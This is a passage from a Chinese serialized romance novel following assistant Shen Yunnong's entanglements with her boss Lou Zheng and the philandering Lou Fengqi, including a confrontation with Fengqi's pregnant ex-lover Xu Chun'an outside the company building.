他笑,沈韫浓也笑。 眼睛越过酒杯盯着他看,语气里是软软的娇嗔:“你干嘛要揭穿人家?让我这个共犯好没面子。” 楼凤栖没料到她承认的这样爽快,愣了一下。 “所以,今天是蓄谋已久吗?”他笑问。 沈韫浓的手隔着桌子伸过去,放在楼凤栖的手背上:“少装。全世界都知道我喜欢你,偏偏你……永远看不见我。” 她借着三分酒劲,言语都大胆了起来。 楼凤栖的眼神有所松动,另一只手覆在她手上。 他是个正常男人,哪里禁得起这样撩拨。 不如就今晚…… 楼凤栖心潮澎湃。 此时,一个声音响起。 “哟,小叔,沈小姐,你们居然也在这里,太巧了!” 两人的手迅速分开。 周彦那张欠打的脸在两人面前放大。 再抬头,沈韫浓看到了站在不远处的楼铮。 真TM%……&*# 她想把酒瓶砸到楼铮头上。 楼凤栖眼里那点情愫瞬间荡然无存。 他热情地起身跟楼铮和周彦打招呼,让服务员加了餐具和酒。 那两人竟然真的毫不客气地坐下,跟楼凤栖热聊了起来。 沈韫浓在一旁走也不是,留也不是,只觉得如坐针毡。 又过了一会儿,她才真正酒意上头,坐不住了。 沈韫浓跑去洗手间的公共区域吐。 好一会儿才抬起头漱口。 镜子里楼铮的脸怎么那么招人烦。 沈韫浓皱眉,接了一捧水泼镜子。 “你有病吧?只能你跟陈知意挂同心锁,不能我和楼凤栖约会。” 她不敢回头骂他,只敢骂镜子里的人。 身后,楼铮掐住她的腰。 咬了她耳垂一口。 “所以你在吃醋?”他竟然有点诧异。 沈韫浓的脑子却转不过来。 “吃醋个屁。我是说我们互不干涉,不好吗?” 她鼓足了勇气,转身猛推了一把楼铮。 楼铮的脾气上来,伸手就把她压在了洗手台上。 “我今天要是不来,你是不是又准备跟楼凤栖开房去了?” 他一只手掐她脖子。 沈韫浓的脸渐渐憋成紫色。 “没心肝的,真想掐死你。”楼铮咬牙切齿,在沈韫浓窒息的前一秒放开她。 沈韫浓咳嗽了好一阵,才勉强开口。 “楼铮,当我求你。之前招惹你,是我不对。你别跟我一般见识,放过我,好吗?” 她坐在洗手台上,仰着头哀求的样子,看上去楚楚可怜,实在有迷惑性。 楼铮差点心软。 他迅速回神,将她抱起来。 “困了,回去睡觉!” 楼铮抱着她往门口走。 怕被楼凤栖看到,沈韫浓拼尽全力挣扎。 酒吧里没人理她。 路过他们的卡座,楼凤栖已经不在了,只有周彦坐着看好戏。 见到手的鸭子飞了,沈韫浓更是气的要命。 她也顾不上楼铮什么身份了,拼命大喊:“救命!他是人贩子!” 也许是楼铮看上去太高大,气势又太足,没有人敢管。 一直到门口,有两个女孩拦住了他们。 “先生,请你把这位小姐放下来,不然我就报警了。”那个高一点的女孩说。 沈韫浓简直要感动哭了,看女孩的眼神满是崇拜。 楼铮不为所动。 “她是我老婆,我不让她来酒吧,跟我闹脾气呢。”他说。 女孩依然不走:“你怎么证明她是你老婆?” 楼铮:“她左边屁股上有个红色胎记。” 沈韫浓:“楼铮,你她妈……” 后面的疯狂输出被堵了回去,楼铮咬了她嘴唇。 第五十六章 女朋友? 楼铮和沈韫浓根本不像不认识的样子。 以至于那两个见义勇为的女孩觉得遭到了背刺, 一边走一边故意大声说:“娇妻能不能死远一点啊!真晦气!” 沈韫浓被骂得一脸懵,狠狠地瞪了楼铮一眼。 但显然这一眼没什么威慑力,楼铮更加肆无忌惮了。 到了车里,楼铮依然没有将她放开。 直到抱着她回酒店,进了自己的套房。 起初沈韫浓还在挣扎,到酒店后那么多人看着,她也怕把楼凤栖吸引过来围观,只好把头埋进楼铮怀里没动。 等到门关好,只剩他们两个,她又开始手脚并用地挣扎。 楼铮嘲她:“沈韫浓,你简直比过年的猪还难按。” 却终于放开了手。 沈韫浓一落地,猛地晃了下,扯住楼铮衣袖才勉强维持住平衡。 这次她喝得真有点多。 酒精的作用下,人的脾气也差,她转头对着楼铮的小腿踢了一脚,怒气冲冲往门口走。 “你今晚睡这儿。”楼铮在身后说。 沈韫浓转头看他:“楼铮,我只是你的下属,不是你的奴隶。” “沈氏对外的年报数据是假的,看似没问题,实际上有暴雷。你今晚睡这儿,我给你真的。” 沈韫浓脑子像被冰激了一下,瞬间清醒:“我怎么相信你?” 楼铮:“我骗过你吗?” 那倒没有。 沈韫浓:“我睡沙发。” “随你。” 楼铮丢下沈韫浓洗澡去了。 沈韫浓一个人坐在沙发上胡思乱想。 沈氏看上去运营良好,最近股价还涨了,楼铮怎么知道有雷? 他居然有沈氏的年报,是不是说明他也想对沈氏下手很久了? 好好的,对沈氏下手做什么? 那如果他们合作一下…… 这样想着,沈韫浓一下子热血上头,突然冲到浴室门口,拉开门:“楼铮,我们……” 她闭嘴,脑子里一片空白。 浴室里水汽氤氲,像一步踏入了梦境。 楼铮正在用浴花往身上打泡沫。 绵密的白色泡沫在健康的小麦色皮肤上,一层层堆积起来,是淋在美味舒芙蕾上的酸奶酱汁。 沈韫浓被施了木头人法术,立在门口,有半分钟的时间说不出话。 楼铮察觉出了她的异样,勾唇:“一起洗?” “抱歉,打扰了,打扰了。”沈韫浓如梦初醒,跌跌撞撞迅速跑掉。 一直回到沙发上,她还在懊恼,喝酒真误事啊,她刚才在做什么啊,真是要疯了。 沈韫浓将头埋在沙发里,为刚才的冲击回不过神。 除了不能娶她,楼铮简直没有一点缺陷。 可不能娶她这事是致命的,她告诫自己,不要被美色冲昏头脑。 沈韫浓胡思乱想,意识一点点模糊。 等楼铮洗完澡出来,便看到了蜷缩在沙发里,小猫似的沈韫浓。 她的脸朝着沙发靠背,背对着他。 从后面看,只能看到她漆黑浓密的头发,和细得过分的腰。 他走过去,伸脚轻轻踢她后背。 “醒醒,洗漱完再睡。” 沈韫浓不动。 他又踢,沈韫浓翻身,抱住他的小腿。 “楼铮,讨厌鬼,烦死了。”她嘟哝。 倒是没叫错名字。 楼铮的腿抵在大片的绵软上,心跳渐渐急促。 睡醒时沈韫浓在床上,身边是裸着上身的楼铮。 昨晚的事涌入脑海,她一激灵,迅速坐起身。又在发现自己衣服好好穿在身上后,松了口气。 楼铮嗤笑一声,也跟着坐起来:“又不是没做过,紧张什么?” 沈韫浓:“……你睡我和我睡你,是两回事。” 昨天她喝多了,即便发生了什么也毫无快乐,不划算。 楼铮显然没想到她能说出这种话来,眉心跳了跳:“沈韫浓,没想到你这个人挺双标啊。” 沈韫浓自顾自起床。 她看着身上皱巴巴的衣服试探:“我不会去找凤栖总了,要是没什么事的话……” 楼铮没理她。 他也起了床,身上只穿一条平角内裤,往浴室走。 非礼勿视,沈韫浓别过头。却又忍不住在他路过时偷看一眼。 她的目光被楼铮抓个正着。 四目相对,楼铮戏谑挑了一下左侧的眉:“嗯?” 沈韫浓迅速别过眼,避开他的目光要往外走。 楼铮进了浴室,声音懒懒地带着回音传来。 “你去换衣服跟我出门,一会儿见个人。” 沈韫浓拒绝。 “现在是放假时间,我和林贞要去滇池看海鸥。” “五倍工资。” 她火速变脸:“海鸥有什么好看的,我最喜欢加班了!” 本以为楼铮是有生意要谈。 沈韫浓找了行李箱中最正式的衬衫穿上,下面穿了黑色的鱼尾裙和高跟鞋。 谁知,楼铮开车七拐八拐,将她带到了一家台球俱乐部。 俱乐部里聚集了好几个年轻男人,一进门,烟味大的能呛人一个跟头。 周彦也在。 除了周彦,还有一个染着粉色头发的男人,叫蒋煜,说是楼铮的大学同学。 三个人打球聊天,完全是老友聚会的氛围,没谈一点公事。 所以,她来的意义是? 三人热聊了一会儿,蒋煜似乎才注意到沈韫浓。 转头看她一眼,问楼铮:“女朋友?” 楼铮:“不然呢?” 蒋煜意味深长地打量沈韫浓一番。 沈韫浓被他盯得发毛:“不是,蒋少,我是楼总助理。” 她赶紧自报家门,周彦看着楼铮的黑脸,在一旁憋不住笑了。 蒋煜“哦”了一声,点了点头,看向楼铮:“真有情趣。” 沈韫浓来不及解释,蒋煜又问她:“你会打台球吗?” 沈韫浓摇头。 周彦推楼铮一把:“阿铮,还不快教教人家。” 沈韫浓:倒也不必吧? 谁知,楼铮转头,对她抬了抬下巴:“过来。” 周彦和蒋煜看着,沈韫浓也不好推辞,便走了过去。 按照楼铮教的,沈韫浓将左手放在桌上,竖起大拇指,右手执杆,将球杆托在左手上,发力。 一连几杆都没打中,楼铮过来直接抓她的手。 “你架杆的姿势不对。” 他一根根掰她的手指矫正,“五指张开,手背拱起一点。” 他站得有点近。 有一瞬间,沈韫浓觉得,他的腿在后面贴上了她的。 第五十七章 看海鸥 楼铮贴得那么近,沈韫浓更慌。 她手抖,这下,直接把母球一杆怼进了袋里。 楼铮低笑起来。 “沈助理好笨啊。” 他亲自过去,将球捡了回来。 接着,直接握住了沈韫浓执杆的手。 “打哪个?”他凑在她耳边问。 沈韫浓耳朵抖了抖,声音也抖:“6号球。” “嗯。” 楼铮在后面环住她,一个巧劲。 6号球像长了腿,直接滚入袋内。 “好厉害。”沈韫浓低呼。 不只是楼铮,周彦和蒋煜也笑出来声。 不过,他们笑的是楼铮。 蒋煜问周彦:“这算阿铮初恋吧?” 周彦:“谁说不是呢,你看他舔狗的样儿,没出息。” 打完球,几个人一起吃饭。 吃完饭,蒋煜约他们去家里的茶庄坐坐,再去他的珠宝行看看玉石。 楼铮拒绝:“周彦跟你去。我们要去滇池看海鸥。” 沈韫浓诧异抬眼。 蒋煜更是“啧”了一声,“你还是我认识的那个杀人不眨眼的楼铮吗?” 楼铮面无表情:“法治社会,别乱说,我可是守法公民。” 沈韫浓真的跟楼铮去了滇池。 午后,阳光洒在湖面上,照出一层金色的波纹。 楼铮站在湖边,似乎也被镀上了一层金色,沾了一点暖意,平日里黑沉沉的眸子都一扫阴霾,熠熠生辉。 成千上万只海鸥,在湖面飞过,场景壮阔的让人震撼。 大山大水,壮阔的鸟群,沈韫浓看得目不转睛。 在这一瞬间,她的心胸都被打开了。 她突然觉得,没有过不去的坎儿。 “沈韫浓,别动。”楼铮突然说。 他举起了手机。 沈韫浓想对着镜头笑一下,却也只是稍稍弯了一下唇角。 镜头里,她的头发被风吹起,眼神温柔干净,没有一丝尘埃。 天地失色,眼前只剩她一双眼。 楼铮想将她藏起来,跟这个世界隔绝开。 他的心酸涩又柔软。 第三天,楼铮回海市,沈韫浓也跟了回去。 然后,她拿到了沈氏最真实的财务数据。 与表面的风光不同,实际上,沈氏亏损严重,已经有好几个股东暗暗撤资。 这个数据一旦曝光出去,必然会导致沈氏的股票下跌,最严重的情况,可能会让公司直接破产。 沈韫浓心脏狂跳,吃了几颗丹参片,才勉强控制。 她还不能动,现在一切都没准备好。 起码,她要为顾曦薇争取一点逃走的时间。 沈韫浓回海市没两天,楼凤栖也回来了。 看得出,他也很为那天错失良机而懊恼,对沈韫浓的态度暧昧了几分。 沈韫浓跟他推拉,时远时近,若即若离。 这天晚上下班,刚从电梯出来,沈韫浓看到了一楼大厅里许春安。 她还没走过去,便看到了另一个电梯间出来的楼凤栖。 许春安没注意到她,径直冲过去抱住了楼凤栖,对着他哭。 “楼凤栖,我怀孕了!我们结婚,好不好?” 沈韫浓往里站了站,躲在他们的视线死角听。 楼凤栖的声音很小:“别在这里,出去说。” 他很不耐烦。 许春安不走:“我知道,你嫌我出身不好,只是许家的养女。可沈韫浓也不是沈家亲生的!凤栖,我们都这么多年了……现在又有了孩子……” 楼凤栖:“孩子不能留,当初说好了,你情我愿,你这样就没意思了。春安,我给你钱,你明天就去把孩子做了。” 许春安哭得更加大声。 “我不要钱,凤栖,我只想留下这个孩子。我已经做过好几回人流了,这次要是留不下,我可能就再也不能生了。” 沈韫浓心中涌起浓浓的悲哀。 这就是不对等关系对女人带来的伤害。 楼凤栖只管自己爽,所有的后果,都要许春安来承担。 一想到自己处心积虑勾引这样一个人渣,沈韫浓有点想吐。 看着许春安的处境,她又联想到自己。 如果她真的跟了楼铮,应该也是一样的下场。 虽然现在楼铮在那方面一直很尊重她,不仅不会强迫,还会主动做措施,不让她陷入危险境地。 可是以后呢? 她做他的情人,本质上就是不自爱,一个不自爱的女人,还能指望别人爱她吗。 空气里有一丝若有似无的烟味,沈韫浓转头,看到了身后的楼铮。 他不知是坐电梯还是从后面楼梯间过来的。 她居然一点声音都没听到,更不知道他来了多久。 第五十八章 许春安:求你帮我 外面两人还在拉扯。 沈韫浓突然福至心灵:“人是你带过来的。” 不是疑问句。 怕外面听见,沈韫浓声音很低。 “聪明。”楼铮并不意外她会猜到,勾了勾唇,冲着楼凤栖抬了抬下巴。“这样的,还要嫁吗?” 楼铮身高优势太明显,看人时,压迫感太足。 他没什么表情,可沈韫浓心虚,便觉得自己看出了轻蔑。 楼铮一定觉得她没有道德底线,不自爱。 他懂个屁。 别人要是跟她一样处境,说不定已经杀人放火碎尸了。 沈韫浓面无表情:“跟我没关系,是他自己不娶许春安,又不是我挖墙脚。” 楼铮眉毛皱了皱,好像觉得她无可救药:“不嫌脏?” “你烦不烦?” 沈韫浓不再理他,继续转头,盯着楼凤栖和许春安的方向出神。 她看到许春安跪下来,抱住了楼凤栖的腿。 沈韫浓在心里深深地叹了口气。 她被楼铮抓住肩膀转身,随即困到了怀里。 “你要什么,我帮你就是了。”楼铮说,“我把沈英耀给你送进去,怎么样?” 她不是没想过。 可之后呢? 做了楼铮的情人,是从一个火坑到另一个火坑,到时候如果楼铮不放她走,她的处境连顾曦薇都不如。 “你能娶我吗?我要明媒正娶,名字写在结婚证上的那种。”她静静地抬头看着他。 “给我点时间。”楼铮的目光没躲。 “时间,是多久?一个月够吗?或者一个季度,一年?” 一年已经太久了。 可楼铮这种情况,一年显然不够。 沈韫浓分析过,他们只有一种可能—— 楼老太太去世,楼铮彻底掌权,也在和陈知意的婚姻里拿到了自己想要的。 之后,离婚娶她。 以上这些,还要建立在一个严苛的基础上,那就是彼时他还对她上头,没有失去兴趣。 但最大的可能是,他拿到了更多权势后,更加肆无忌惮,把她包养起来,当个小玩意。 楼铮没有给她确切答案,她知道也根本等不来。 于是,沈韫浓冷冷笑了下:“你一个一周前刚跟别人挂过同心锁的人,就不要跟我纠缠了吧。” 她又开始沉默着大力挣扎。 楼铮不放,手臂箍得她更紧。 此时,电梯“叮”地响了一声,有加班的员工从电梯里下来。 沈韫浓的心提到了嗓子眼。 楼铮抱着她一个转身,背对着电梯门的方向。 那员工只看到了一个高大的背影。 但楼铮的气质太明显了,员工一眼便看出了他。 他怀里的女人,看衣服好像是沈助理。 不对,沈助理那样的老实人,做不出跟老板搞不正当关系的事。 那员工揉揉眼睛,快步离开了电梯间。 沈韫浓神色太紧绷,以至于楼铮轻笑一声,捏她的脸:“刺激不?” 沈韫浓翻了个白眼。 只听外面楼凤栖的声音道:“谁在?” 他往这边走了。 还没落下去的心又提起来。 如果楼凤栖知道自己的事被撞破,他们就再也没有一点可能了。 “楼铮,别这样。”沈韫浓的态度突然放软,她双手合十求他,“让我走吧。” 楼铮眸子一片晦涩不明的情绪。 他低头咬了一下她的唇,带着情绪。 楼凤栖已经走过来了,沈韫浓绝望闭眼。 遇到楼铮,真是她流年不利。 千钧一发之际,楼铮把她往身后一推,迈开长腿迎了出去。 “是我。” 沈韫浓这才得以从背后的楼梯口脱身。 大厅里已经没有许春安的影子。 但楼凤栖还是问了一句:“你都听到了?” 他们动静那么大,他不信楼铮没听到。 楼铮这个人心思深,看着混不吝,什么都不当回事,实则他最坏。 万一,楼铮去老太太跟前说点什么…… 虽然老太太不管他们在外面玩,可难免觉得他这个人只惦记男女之间那点事,难当大用。 楼凤栖心情复杂,这么有城府的人也有点坐不住了。 他把这笔账算到了许春安头上,这个女人留不得! 楼铮看着楼凤栖眼神里的变化,点了点头。 “你和许春安的事又不是秘密,我早就知道了。” 楼凤栖脸上顿时蒙了一片灰。 男人间似乎有个共识,觉得这种事不算大事,是人之常情,也正因如此,才总有人为出轨的男人开脱。 楼铮要是装傻,楼凤栖就还有余地,可他不装了。 “是我一时糊涂,没管好自己。”楼凤栖只好说。 “小叔。”楼铮拍他的肩,“你和许春安我管不着。但我不会让沈助理变成下一个许春安。” 楼凤栖不语,低下头去。 这件事发生后,楼凤栖疏远了沈韫浓一段时间。 沈韫浓猜他是被许春安缠得分身乏术,顾不上她。 却不知道,他是被楼铮震慑住了。 但那天晚上临睡前,沈韫浓收到了一张楼铮发来的照片:姻缘桥上,一对崭新的同心锁。 上面分别用防水笔写了“小猪佩奇”和“美少女战士”。 那是楼铮和陈知意的字迹。 沈韫浓有点尴尬。 她拿同心锁说事,是为了让楼铮不要干扰她,现在好像是她在吃醋,硬要楼铮给个解释一样。 可两人的关系,实在到不了这个程度。 她不知道回复什么,索性什么都没说。 许春安这件事比沈韫浓想得闹得更大,没过几天,她竟然等在了沈家门口。 沈韫浓下班回家时,见到门口的人时吃了一惊。 许春安披头散发,素着一张脸,两只眼睛肿着,嘴角还带着伤。 “沈小姐,求你帮帮我!”她一见沈韫浓就冲上来说。 沈家人多眼杂,沈韫浓不方便站在门口说话,她拉着许春安往别处走。 正是饭点,沈韫浓找了一家餐馆。 她没问许春安口味,点的却相对清淡。 许春安又要哭:“沈小姐,上次是我嫉妒你,做了错事。” 她很不安,在孕激素的作用下,情绪几度崩溃。 第五十九章 楼凤栖的真面目 全程几乎都是许春安在说。 她说自己肚子里的孩子是第四个了,如果这个再留不住,以后怕再也没有机会了。 “凤栖以为我想要的是楼家的权势,一开始可能是,但后来,我是真的喜欢他……” 许春安在哭诉,沈韫浓全程走神,她自己的生活都一团糟,实在分不出精力来安慰别人。 更何况,许春安经历的这一切,她太懂了。 爱不爱的都是其次,一切的起因都是贪婪,都是想攀高枝的心。 许春安的存在像一面镜子,也照出了她最不堪的一面。 楼凤栖比她想象的更冷酷无情,更势利。许春安给不了他想要的,他就一脚将人踢开。 后来,许春安哭太久,沈韫浓不得不打断:“许小姐,虽然我很同情你,但这一切不是我造成的,你来找我做什么?” 许春安:“沈小姐,我求你,你把凤栖让给我吧。” 沈韫浓无奈地看着她,一时想敲开她天灵盖,把她脑子里的水倒出来。 沈韫浓:“我想你误会了,楼凤栖拒绝你,也不是为了我。” 许春安:“可除了你,我也想不到别人了,凤栖现在连见都不肯见我。沈小姐,求你,帮我一次。” 沈韫浓在心里叹了口气。 她答应给许春安创造一次机会。 她也想借这个机会,看看楼凤栖的底线在哪里。 周五下午,楼凤栖陪客户去打保龄球。 他提前半小时到,给客户定球道,安排茶水点心和护具。 刚进更衣室,就看到了等在里面的许春安,登时变了脸色。 “凤栖,我只要留下这个孩子……”许春安在楼凤栖面前,软得像个小绵羊一样,马上低下头去。 楼凤栖冷笑:“只要孩子是吧?好,那你就生下来。但你能保证,不来打扰我,也不告诉任何人这个孩子是我的吗?” 许春安错愕地瞪大眼睛。 楼凤栖却步步逼近,他伸手,猛地扯住许春安的衣领。 “别以为我不知道,你不按时吃药安的什么心。不就是想怀孕逼我娶你? 许春安,我原本不想把话说这么明白的,你想让我娶你,也不是不行,回去,让许镇山出个协议,许家的一半家产给你做嫁妆,我就可以考虑!” 许春安的脸色更加苍白,嘴唇不断地发抖。 “你明知道,我拿不到。”她的声音更小,“而且,沈韫浓……她也一样给不了。” “所以,你们这种女人我见多了,以为有三分姿色就能攀高枝,被男人玩弄也是自找的!” 楼凤栖撕下了平日温文尔雅的伪装,露出最本质的一面。 沈韫浓在最里面的隔间里听着,心底涌起一丝寒意。 楼凤栖的话,如当头棒喝,直接打醒了她。 他比自己更现实,自己想通过他往上爬,而他却还嫌她太矮,踩着够不到他要的高度! 不止楼凤栖,楼铮一边和陈知意有婚约,一边试图让她“跟”她,又是什么好人吗? 他们两个,代表了大多数纨绔子弟对女人的态度,玩玩可以,结婚不行。 沈韫浓长出了一口气,或许她一开始想靠着结婚这条路往上走,本来就是错的。 许春安已经被楼凤栖拉了出去,外面一片死寂。 沈韫浓趁着没人,也往外走。 她心情低落,步履很慢,到门口时,没注意脚下台阶,险些绊倒。 手臂被抓了一把,楼铮叼了个棒棒糖,靠着门框似笑非笑看她。 “你可以放心了,我以后再也不会打楼凤栖主意了。”沈韫浓说,垂着眼等他嘲笑。 楼铮挑了挑眉,没接她的话,却说:“工作时间打着帮我跑腿的名义出来接私活儿,是不是要记旷工?” 忘了这茬了…… 沈韫浓尴尬,更加没底气:“就出来一会儿,这就回去了。” 楼铮:“请我吃饭,算封口费。” 这个饭,沈韫浓实在是不太想请,刚经历了这么大的情绪波动,她想缓缓。 “算我欠你的,改天再请好不好?”她好声好气跟他商量。 楼铮:“你跟我肚子商量一下,改天再饿?” 沈韫浓败给他。 “楼总想吃什么?”她客气一下,又准备把他往小馆子带。 楼铮像是听到了她心声似的。 “吃贵的,别想用上次的海底捞打发我。” 沈韫浓小声嘟哝:“那还不如记旷工。” 话是这么说,可二十分钟后,两人还是坐在了餐厅里。 这是沈韫浓十岁后第一次吃法餐,随便点了几道菜就3000多块,她心痛得直皱眉。 意外的,她发现楼铮也懂法语,念菜单的发音莫名性感。 她有点吃惊。 也许是注意到了她的目光,楼铮挑眉:“只许你会是不是?” 这下沈韫浓更诧异:“你怎么知道我会?” 楼铮:“我看过你的简历,你难道以为我招助理只看脸吗?” 沈韫浓:“……就当你夸我才貌双全了。” 最近只想着靠脸得到点什么,她自己都快忘了自己除了这张脸以外,并不是一无是处的。 沈韫浓有点羞惭,这么多年书都白读了。 好在她还年轻,虽然走了点弯路,但现在想清楚,应该也不算晚。 “沈助理不光才貌双全,还有个最大的优点。”楼铮突然接口,还卖关子。 沈韫浓直觉不是什么好话,却还是要给他捧哏:“什么?” 楼铮一本正经:“沈助理有超绝钝感力,听不出好赖话。” 沈韫浓:“……” 天又聊进了死胡同里,沈韫浓低头泄愤似地吃饭,不再言语。 对这顿饭钱的心疼很快盖过了走弯路的挫败感,她吃着吃着,竟然升起了一种久违的轻松。 也好,放弃了一个人渣而已,也算及时止损,反正最近她也摸索出了一条新路。 这阵子,她跟苏磊接触过几次,小来小去地给他帮点忙,赚了点钱不说,还意识到了一件事:这个世界上想要搞垮沈英耀的人太多了,她不是孤军奋战。 靠婚约行不通,那就靠利益,把沈家搬空。 只不过新道路要从长计议,沈韫浓觉得这半年她的心态都老了十岁。 这顿饭最终从楼铮的会员卡里扣费,3000块失而复得,沈韫浓的心情彻底好了。 她在楼铮身边露出笑脸。 “出息!”楼铮睨她一眼,从鼻子里哼了一声,自己也笑了。 这件事对沈韫浓来说就这么翻篇了,内耗没意义。 可许春安完全是病急乱投医的状态,她看沈韫浓这条路走不通,居然闹到了楼家老宅去,求到了楼老太太面前。 楼老太太怎么会让她拿捏? 一边嘴上说着,“我岁数大了,不太爱管孩子们的事,更何况我一个隔了房的伯母,也做不了侄儿的主”,轻飘飘把她打发了。 一边又敲打了楼凤栖,让他赶紧处理好,别闹大了丢了楼家的脸。 第六十章 将计就计 楼老太太是整个家族里楼凤栖最在乎的人,这件事被捅到楼老太太那里,简直是打在了他的七寸上。 楼凤栖气许春安的拎不清。 他觉得,许春安和他是你情我愿,如今拿怀孕说事就是道德绑架。 越是这样,他越不能让她如意。 楼凤栖把算盘打到了沈韫浓头上。 那天下班,他过来等她,说一起吃饭,有事找她聊聊。 一开始,沈韫浓拒绝:“今天晚上有点事儿,要不,改天?” 既然已经打定了主意不跟楼凤栖来往,她连表面功夫都不太想做。 谁知,楼凤栖却很坚持:“我等你,正餐没时间一起吃宵夜也行。韫浓,有件事,我不想你从别人嘴里听说。” 话说到了这个份上,沈韫浓当然知道他要聊什么了,再装傻不合适。 沈韫浓想了一下:“我今晚的事可以往后推推。” 两人找了一家公司附近的西餐厅。 本以为发生了这样的事,楼凤栖多少会有点尴尬,可沈韫浓发现自己低估了楼凤栖的脸皮。 他的确有超强的心理素质,不仅跟往常一样跟她谈笑风生,还超级自然的把自己手里的牛排切成小块,换到了她面前。 沈韫浓不动声色的道谢,静静地看着他表演。 如今抽离出来看,她越发觉得眼前的人带了层假面,让人反感。 “不知道最近你有没有听到过一些风言风语,但我觉得,这话如果让你从别人嘴里知道,就是我的不坦诚。” 沈韫浓在心里嗤笑,面上很镇定。 “我的确知道了,凤栖总。” 她不想钓他了,自然也不用再跟他推拉,替他找借口。 楼凤栖不意外,他苦笑了一下:“我上次骗了你,我和许春安的确是……那种关系,原本是抱着恋爱去的,但后来我发现她心机太深,真的没办法娶她。” 他拿许春安在老太太寿宴上算计沈韫浓说事。 “我本来还有点犹豫,但看到她那样对你,突然就下定了决心。”楼凤栖看她的眼神突然无比深情,“韫浓,我们两个才是一条心。” 沈韫浓听得想笑。 去掉了“未来老公备选”这层滤镜,她看楼凤栖都更透彻一点。 他话里话外的给自己放饵,看似深情表白,实则挑拨自己去对付许春安。 而且,什么好处都没给,就连句最基础的承诺都不给,想必当初他也是这么骗许春安的吧。 想空手套白狼,想得还挺美的。 沈韫浓不动声色地把这顿饭糊弄完,回去暗暗做了个决定。 许春安比她想得还要着急。 第二天早上,她便等在了沈韫浓上班的必经之路上。 也不怪许春安急,昨天晚上,她看到了楼凤栖的朋友圈—— 配图是低头吃牛排的沈韫浓,文案是:“仅仅是看你吃饭,就觉得幸福”。 这样的文案,在许春安眼里等同于官宣。 她原本就草木皆兵,这下更坐不住了。 这次许春安不是一个人,有一个很高很胖的男人给她开车,这个人沈韫浓也见过:上次那些灌楼凤栖喝酒的人里,他是领头的,应该是许春安的堂兄弟。 沈韫浓每天坐地铁上班,再步行300米。 她就是被许春安拦在了这300米的路途中间。 “沈韫浓,你还真是又当婊子又立牌坊。” 许春安高高在上,车都不停,从车里探出头骂她。 沈韫浓脚步不停,好像没听到似的,继续往前走。 许春安被无视,怒火烧得更旺。 “我说你怎么好心帮我呢?原来就是想看我笑话。其实你早就跟楼凤栖睡了是吧!沈韫浓,别得意,你就是下一个我!” 可怜之人必有可恨之处。 但好在她从未同情许春安,上次帮她制造了机会,这个人情,就让她今天还了吧。 沈韫浓一句话都没回,好像许春安骂的不是自己一样。 眼看着到了公司门口,早九点,上班高峰时间,聚集了不少人。 开车的男人看一眼许春安:“你想好了,这可是楼氏的大楼,闹大了,你就没余地了。” 连日来的不安和愤怒,早就让许春安冲昏了头脑。 “我现在已经没有余地了,不把这事闹大,楼凤栖就永远不会娶我!”许春安说。 车停在了沈韫浓面前。 那男人先下去,扯沈韫浓的胳膊:“站住。” 沈韫浓这才站住,面露惊慌之色。 “放开我,你们做什么!” 许春安也下车,抬手对着沈韫浓就要打过来。 这些手段,都是沈韫浓在家跟沈家兄妹玩惯了的,随便一躲,就躲了过去。 但她的神情太害怕了,好像已经被许春安打到了一样。 “许小姐,我不明白你什么意思。”沈韫浓说,“请问我哪里得罪了你吗?” 许春安现在看沈韫浓的行为,只觉得茶味扑鼻,她更是气不打一处来。 “你会不知道?沈韫浓,你明知道我怀了凤栖的孩子,却还要跟他在一起,还做出一副很同情我的样子,你让我恶心!”许春安刻意要闹大,生怕别人听不到,提高了嗓门。 反而是沈韫浓一直在压低:“我听不懂,许小姐。我和凤栖总只是领导和下属的关系。我承认,我之前对凤栖总有好感,但绝不会知三当三。您是说您怀孕了,孩子是凤栖总的?” 许春安一听更是火冒三丈。 “你装什么呢,你个死绿茶!你肯定是看我和凤栖闹矛盾,想钻空子!” 她又要打过来,沈韫浓轻轻松松捉住她的手腕。 “有话好好说,别动手。”她声音很冷。 那个男人看许春安要吃亏,竟然又扯住了沈韫浓的手臂。 “你干什么!”他对着沈韫浓挥起拳头。 拳头没有落到沈韫浓身上,因为她听到“咔嚓”一声,那男人的骨头发出了断裂的声音。 楼铮站在他身后,神色很冷。 那男人惨叫了一声,见是楼铮,马上颓了下去。 “怎么回事?”他问。 “楼小爷……”许春安先开口。 “没问你。”楼铮冷冷打断她,又看沈韫浓,“你说。” 沈韫浓:“楼总,许小姐说她怀了凤栖总的孩子,凤栖总不娶她,是因为我知三当三。” 她三言两语把话说清楚了。 一时间,围观的一群打卡快迟到的打工人,都被她这番话硬控在了当场,谁也不想走。 楼铮眼里闪过一丝兴味:“那你是吗?” 第六十一章 她是千年狐狸 沈韫浓大大方方回视楼铮,不仅如此,她还环视了一下四周。 “我当然不是,我过去的确暗恋过凤栖总,但我跟凤栖总只是同事关系,我也早就想明白了。” “你装什么装!”许春安冷笑着拿出手机,“昨天楼凤栖还发朋友圈秀恩爱了!” 她拿出那个截图给楼铮看。 楼铮和沈韫浓都掏出手机,这条朋友圈他们都没看到,许春安再看,也已经不见了。 “许小姐,我有理由怀疑是你P图诬陷我!”沈韫浓理直气壮,“不如叫凤栖总过来对峙!” 这段时间的许春安一直处于不安和恐慌里,很难冷静判断,所以,一直到这时候,她也没意识到这是一个圈套。 楼铮看一眼沈韫浓,她眼底的狡黠一闪而过。 这只小狐狸! 虽然没提前沟通过,但他差不多已经明白了沈韫浓的用意。 “去给凤栖总打个电话,叫他过来。”他对跟在不远处的潘琳说。 楼凤栖到得很快。 看到在公司门口拉扯的沈韫浓和许春安,他脑子“轰隆”响了一声。 沈韫浓怎么也这么蠢?! 昨天的话如果她听懂了,就该不动声色地把许春安肚子里的孩子搞掉,而不是任由她来公司晃! 这么多双眼睛看着!沈韫浓是不想跟自己在一起了吗?! 楼凤栖气得额上青筋突突直跳,偏偏沈韫浓还要过来让他断案。 “凤栖总,许小姐说您发朋友圈官宣跟我在一起了,有这回事吗?我怎么不知道自己谈恋爱了?”她一脸天真地问。 楼凤栖被问得瞠目结舌,半晌才道:“怎么可能,我和韫浓只是朋友。” 楼铮刚点的咖啡外卖到了。 此时,他捧着一杯热摩卡看得津津有味。 沈韫浓脑子真好用啊,十个许春安五个楼凤栖加起来也不是她的对手。 楼铮突然觉得,他手里差把瓜子。 直到这个时候,许春安才反应过来自己中了楼凤栖的计。 “所以,你发朋友圈就是给我看的,就是想让我跟沈韫浓闹,对不对?” 她冲过去扯楼凤栖的衣袖,跟他理论。 “楼凤栖,你这个人渣,败类!”认清了楼凤栖面目的许春安,突然歇斯底里起来。 